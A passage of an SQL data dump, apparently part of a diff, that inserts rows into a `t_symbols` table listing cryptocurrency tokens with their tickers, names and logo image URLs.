'BGBP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-gbp-stable-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1246, 'definafinance', 'FINA', 'Defina Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/definafinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1247, 'equilibria', 'XEQ', 'Equilibria', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equilibria.png', NULL); +INSERT INTO `t_symbols` VALUES (1248, 'time-new-bank', 'TNB', 'Time New Bank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/time-new-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (1249, 'planet-token', 'PLA', 'PLANET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/planet-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1250, 'oio', 'OIO', 'Online', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oio.png', NULL); +INSERT INTO `t_symbols` VALUES (1251, 'carlivechain', 'IOV', 'IOV BlockChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carlivechain.png', NULL); +INSERT INTO `t_symbols` VALUES (1252, 'cryptaldash', 'CRD', 'CRD Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptaldash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1253, 'changex', 'CHANGE', 'ChangeX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/changex.png', NULL); +INSERT INTO `t_symbols` VALUES (1254, 'piratecash', 'PIRATE', 'PirateCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/piratecash.png', NULL); +INSERT INTO `t_symbols` VALUES (1255, 'cryptaur', 'CPT', 'Cryptaur', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptaur.png', NULL); +INSERT INTO `t_symbols` VALUES (1256, 'vezt', 'VZT', 'Vezt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VeztInc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1257, 'starname', 'IOV', 'Starname', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starname.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1258, 'zumcoin', 'ZUM', 'ZumCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zumcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1259, 'mr', 'MR', 'mr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1260, 'nework', 'NKC', 'Nework', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nework.png', NULL); +INSERT INTO `t_symbols` VALUES (1261, 'roobee-platform', 'ROOBEE', 'Roobee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/roobee-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1262, 'effect-ai', 'EFX', 'Effect Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/effect-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (1263, 'patientory', 'PTOY', 'Patientory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/patientory.png', NULL); +INSERT INTO `t_symbols` VALUES (1264, 'apisplatform', 'APIX', 'APIX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apisplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1265, 'polka-city', 'POLC', 'Polkacity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polka-city.png', NULL); +INSERT INTO `t_symbols` VALUES (1266, 'times-chain', 'TCC', 'times-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/times-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1267, 'loser-coin', 'LOWB', 'Loser Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loser-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1268, 'chainium', 'CHX', 'WeOwn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chainium.png', NULL); +INSERT INTO `t_symbols` VALUES (1269, 'value-liquidity', 'VALUE', 'Value Liquidity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/value-liquidity.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1270, 'icoin', 'ICN', 'iCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1271, 'micro', 'MICRO', 'Micromines', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/micro.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1272, 'primecoin', 'XPM', 'Primecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/primecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1273, 'banana-token', 'BNANA', 'Chimpion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banana-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1274, 'halalchain', 'HLC', 'HalalChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/halalchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1275, 'massgrid', 'MGD', 'Mass Grid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massgrid.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1276, 'ripio-credit-network', 'RCN', 'Ripio Credit Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripio-credit-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1277, 'moeda-loyalty-points', 'MDA', 'Moeda Loyalty Points', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moeda-loyalty-points.png', NULL); +INSERT INTO `t_symbols` VALUES (1278, 'edgeless', 'EDG', 'Edgeless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/edgeless.png', NULL); +INSERT INTO `t_symbols` VALUES (1279, 'rebl', 'REBL', 'Rebellious', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rebl.png', NULL); +INSERT INTO `t_symbols` VALUES (1280, 'eai', 'EAI', 'EthereumAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1281, 'vexanium', 'VEX', 'Vexanium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vexanium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1282, 'co', 'CO', 'Corite', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/corite.png', NULL); +INSERT INTO `t_symbols` VALUES (1283, 'pegaxystone', 'PGX', 'Pegaxy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pegaxy.png', NULL); +INSERT INTO `t_symbols` VALUES (1284, 'potcoin', 'POT', 'X Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/potcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1285, 'hig', 'HIG', 'hig', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hig.png', NULL); +INSERT INTO `t_symbols` VALUES (1286, 'afin-coin', 'AFIN', 'Asian Fintech', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/afin-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1287, 'credits', 'CS', 'CREDITS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credits.png', NULL); +INSERT INTO `t_symbols` VALUES (1288, 'fear-nfts', 'FEAR', 'FEAR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fear-nfts.png', NULL); +INSERT INTO `t_symbols` VALUES (1289, 'bitcore', 'BTX', 'BitCore', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcore.png', NULL); +INSERT INTO `t_symbols` VALUES (1290, 'crysto', 'CSO', 'CRYSTO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crysto.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1291, 'ink-protocol', 'XNK', 'Ink Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ink-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1292, 'hedpay', 'HDP.Ф', 'HEdpAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hedpay.png', NULL); +INSERT INTO `t_symbols` VALUES (1293, 'bezop', 'BEZ', 'Bezop', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bezop.png', NULL); +INSERT INTO `t_symbols` VALUES (1294, 'raven-protocol', 'RAVEN', 'Raven Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/raven-protocol.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1295, 'amlt', 'AMLT', 'AMLT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amlt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1296, 'cpchain', 'CPC', 'CPChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cpchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1297, 'ycash', 'YEC', 'Ycash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycash.png', NULL); +INSERT INTO `t_symbols` VALUES (1298, 'legends-room', 'LGD', 'Legends Room', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/LegendsRoom.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1299, 'newbitshares', 'NBS', 'New BitShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newbitshares.png', NULL); +INSERT INTO `t_symbols` VALUES (1300, 'dxsale-network', 'SALE', 'DxSale Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxsale-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1301, 'rock', 'RKT', 'Rock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rock.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1302, 'petrodollar', 'XPD', 'PetroDollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/petrodollar.png', NULL); +INSERT INTO `t_symbols` VALUES (1303, 'incakoin', 'NKA', 'IncaKoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/incakoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1304, 'monkey-project', 'MONK', 'Monk', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monkey-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1305, 'ioi-token', 'IOI', 'IOI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ioi-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1306, 'fitchain', 'FIT', 'fitchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1307, 'tigereum', 'TIG', 'TIG Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tigereum.png', NULL); +INSERT INTO `t_symbols` VALUES (1308, 'bbos', 'BBOS', 'bbos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bbos.png', NULL); +INSERT INTO `t_symbols` VALUES (1309, 'sora', 'XOR', 'Sora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sora.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1310, 'carboneum-c8-token', 'C8', 'Carboneum [C8] Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carboneum-c8-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1311, 'compendiumfi', 'CMFI', 'Compendium.Fi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/compendiumfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1312, 'sirin-labs-token', 'SRN', 'Sirin Labs', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sirin-labs-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1313, 'dinox', 'DNXC', 'DinoX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dinox.png', NULL); +INSERT INTO `t_symbols` VALUES (1314, 'neutron', 'NTRN', 'Neutron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Neutron_Crypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1315, 'hut', 'HUT', 'hut', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hut.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1316, 'c20', 'C20', 'CRYPTO20', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c20.png', NULL); +INSERT INTO `t_symbols` VALUES (1317, 'fibos', 'FO', 'FIBOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fibos.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1318, 'dfohub', 'BUIDL', 'dfohub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfohub.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1319, 'fnkos', 'FNKOS', 'Foglink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fnkos.png', NULL); +INSERT INTO `t_symbols` VALUES (1320, 'aidos-kuneen', 'ADK', 'Aidos Kuneen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aidos-kuneen.png', NULL); +INSERT INTO `t_symbols` VALUES (1321, 'bitasia-coin', 'BAC', 'bitasia-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitasia-coin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1322, 'azbitplatform', 'AZ', 'Azbit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/azbitplatform.png', NULL); +INSERT INTO `t_symbols` VALUES (1323, 'uniform-fiscal-object', 'UFO', 'Uniform Fiscal Object', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uniform-fiscal-object.png', NULL); +INSERT INTO `t_symbols` VALUES (1324, 'deeponion', 'ONION', 'DeepOnion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deeponion.png', NULL); +INSERT INTO `t_symbols` VALUES (1325, 'herocoin', 'PLAY', 'HEROcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/herocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1326, 'tenup', 'TUP', 'Tenup', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tenup.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1327, 'intensecoin', 'ITNS', 'IntenseCoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1328, 'e-coin', 'ECN', 'E-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1329, 'gamestarter', 'GAME', 'Gamestarter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamestarter.png', NULL); +INSERT INTO `t_symbols` VALUES (1330, 'goldcoin', 'GLC', 'Goldcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1331, 'snodecoin', 'SND', 'SnodeCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snodecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1332, 'pandacoin-pnd', 'PND', 'Pandacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pandacoin-pnd.png', NULL); +INSERT INTO `t_symbols` VALUES (1333, 'enigma-project', 'ENG', 'Enigma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/enigma-project.png', NULL); +INSERT INTO `t_symbols` VALUES (1334, 'wb', 'WB', 'wb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wb.png', NULL); +INSERT INTO `t_symbols` VALUES (1335, 'populous', 'PPT', 'Populous', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/populous.png', NULL); +INSERT INTO `t_symbols` VALUES (1336, 'acute-angle-cloud', 'AAC', 'Double-A Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acute-angle-cloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1337, 'hush', 'HUSH', 'Hush', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hush.png', NULL); +INSERT INTO `t_symbols` VALUES (1338, 'unit-protocol', 'COL', 'Unit Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unit-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (1339, 'viacoin', 'VIA', 'Viacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1340, 'lunes', 'LUNES', 'Lunes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lunes.png', NULL); +INSERT INTO `t_symbols` VALUES (1341, 'debitum-network', 'DEB', 'Debitum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/debitum-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1342, 'moneybyte', 'MON', 'MoneyByte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moneybyte.png', NULL); +INSERT INTO `t_symbols` VALUES (1343, 'apex', 'CPX', 'Apex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apex.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1344, 'hakka-finance', 'HAKKA', 'Hakka.Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hakka-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1345, 'startcoin', 'START', 'EverStart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/startcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1346, 'bitcoin-plus', 'XBC', 'Bitcoin Plus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-plus.png', NULL); +INSERT INTO `t_symbols` VALUES (1347, 'alis', 'ALIS', 'ALIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alis.png', NULL); +INSERT INTO `t_symbols` VALUES (1348, 'aware', 'AT', 'AWARE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aware.png', NULL); +INSERT INTO `t_symbols` VALUES (1349, 'mazacoin', 'MZC', 'Maza', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mazacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1350, 'garlicoin', 'GRLC', 'Garlicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/garlicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1351, 'biocoin', 'BIO', 'BioCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/biocoinproject.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1352, 'bitswift', 'BITS', 'Bit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Bit_Swift.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1353, 'betx', 'BETX', 'betx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betx.png', NULL); +INSERT INTO `t_symbols` VALUES (1354, 'buzzcoin', 'BUZZ', 'BUZZCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buzzcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1355, 'scala', 'XLA', 'Ripple Alpha', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scala.png', NULL); +INSERT INTO `t_symbols` VALUES (1356, 'likecoin', 'LIKE', 'Only1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/likecoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1357, 'metaverse', 'ETP', 'Metaverse ETP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/metaverse.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (1358, 'cofound-it', 'CFI', 'Cofound.it', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cofound-it.png', NULL); +INSERT INTO `t_symbols` VALUES (1359, 'en-tan-mo', 'ETM', 'En-Tan-Mo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/7a2762d38b623ccc6ca6d9ba053ea8e6.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1360, 'elrond', 'ERD', 'Elrond ERD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/0dcc305a1e0bc85ece7a175cce117716.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1361, 'bankroll-network', 'BNKR', 'Bankroll Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankroll-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1362, 'nuggets', 'NUG', 'Nuggets', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuggets.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1363, 'ebcoin', 'EBC', 'EBCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ebcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1364, 'new', 'NEW', 'Newton Project', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/new.png', NULL); +INSERT INTO `t_symbols` VALUES (1365, 'latiumx', 'LATX', 'LatiumX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/latiumx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1366, 'bitether', 'BTR', 'Bitether', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitether.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1367, 'kattana', 'KTN', 'Kattana', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kattana.png', NULL); +INSERT INTO `t_symbols` VALUES (1368, 'ivy', 'IVY', 'Ivy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ivy.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1369, 'heat-ledger', 'HEAT', 'HEAT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/heatcrypto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1370, 'social-send', 'SEND', 'Social Send', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/social-send.png', NULL); +INSERT INTO `t_symbols` VALUES (1371, 'bite', 'BITE', 'BitEthereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bite.png', NULL); +INSERT INTO `t_symbols` VALUES (1372, 'ecoin', 'ECOIN', 'Ecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1373, 'paragon', 'PRG', 'Paragon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paragon.png', NULL); +INSERT INTO `t_symbols` VALUES (1374, 'antnest-itelligence', 'AI', 'antnest-itelligence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/antnest-itelligence.png', NULL); +INSERT INTO `t_symbols` VALUES (1375, 'qwc', 'QWC', 'Qwertycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qwc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1376, 'find-your-developer', 'FYD', 'FYDcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/find-your-developer.png', NULL); +INSERT INTO `t_symbols` VALUES (1377, 'linka', 'LINKA', 'LINKA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linka.png', NULL); +INSERT INTO `t_symbols` VALUES (1378, 'siacoinclassic', 'SCC', 'SiaClassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siacoinclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (1379, 'decentr', 'DEC', 'Decentr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentr.png', NULL); +INSERT INTO `t_symbols` VALUES (1380, 'ttv', 'TTV', 'TV-TWO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ttv.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1381, 'smartlands', 'SLT', 'SafeWallet Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartlands.png', NULL); +INSERT INTO `t_symbols` VALUES (1382, 'lcs', 'LCS', 'LocalCoinSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lcs.png', NULL); +INSERT INTO `t_symbols` VALUES (1383, 'arp', 'ARP', 'ARP Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arp.png', NULL); +INSERT INTO `t_symbols` VALUES (1384, 'mothership', 'MSP', 'Mothership', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mothership.png', NULL); +INSERT INTO `t_symbols` VALUES (1385, 'nebula-ai', 'NBAI', 'Nebula AI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nebula-ai.png', NULL); +INSERT INTO `t_symbols` VALUES (1386, 'aeon', 'AEON', 'Aeon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeon.png', NULL); +INSERT INTO `t_symbols` VALUES (1387, 'sumokoin', 'SUMO', 'Sumokoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sumokoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1388, 'linkeye', 'LET', 'Linkeye', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linkeye.png', NULL); +INSERT INTO `t_symbols` VALUES (1389, 'kittenfinance', 'KIF', 'KittenFinance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kittenfinance.png', NULL); +INSERT INTO `t_symbols` VALUES (1390, 'bonuscloud-token', 'BXC', 'BonusCloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonuscloud-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1391, 'kobocoin', 'KOBO', 'Kobocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kobocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1392, 'idena', 'IDNA', 'Idena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/idena.png', NULL); +INSERT INTO `t_symbols` VALUES (1393, 'kickico', 'KICK', 'Kick', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kickico.png', NULL); +INSERT INTO `t_symbols` VALUES (1394, 'props', 'PROPS', 'Props Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/props.png', NULL); +INSERT INTO `t_symbols` VALUES (1395, 'vtcoin', 'VTC', 'vtcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vtcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1396, 'phuture', 'PHTR', 'Phuture', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phuture.png', NULL); +INSERT INTO `t_symbols` VALUES (1397, 'know', 'KNOW', 'KNOW', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/know.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1398, 'fab', 'FAB', 'FAB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1399, 'trueflip', 'TFL', 'TFL.io', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/truefliploto.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1400, 'flycoin', 'FLY', 'Flycoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1401, 'moonswap', 'MOON', 'MoonSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonswap.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1402, 'bitcoin-hd', 'BHD', 'Bitcoin HD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hd.png', NULL); +INSERT INTO `t_symbols` VALUES (1403, 'zero', 'ZER', 'Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zero.png', NULL); +INSERT INTO `t_symbols` VALUES (1404, 'use', 'USE', 'Usechain Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/use.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1405, 'catheon', 'CATHEON', 'Catheon Gaming', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1434227176967053317.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1406, 'malwarechain', 'MALW', 'MalwareChain', 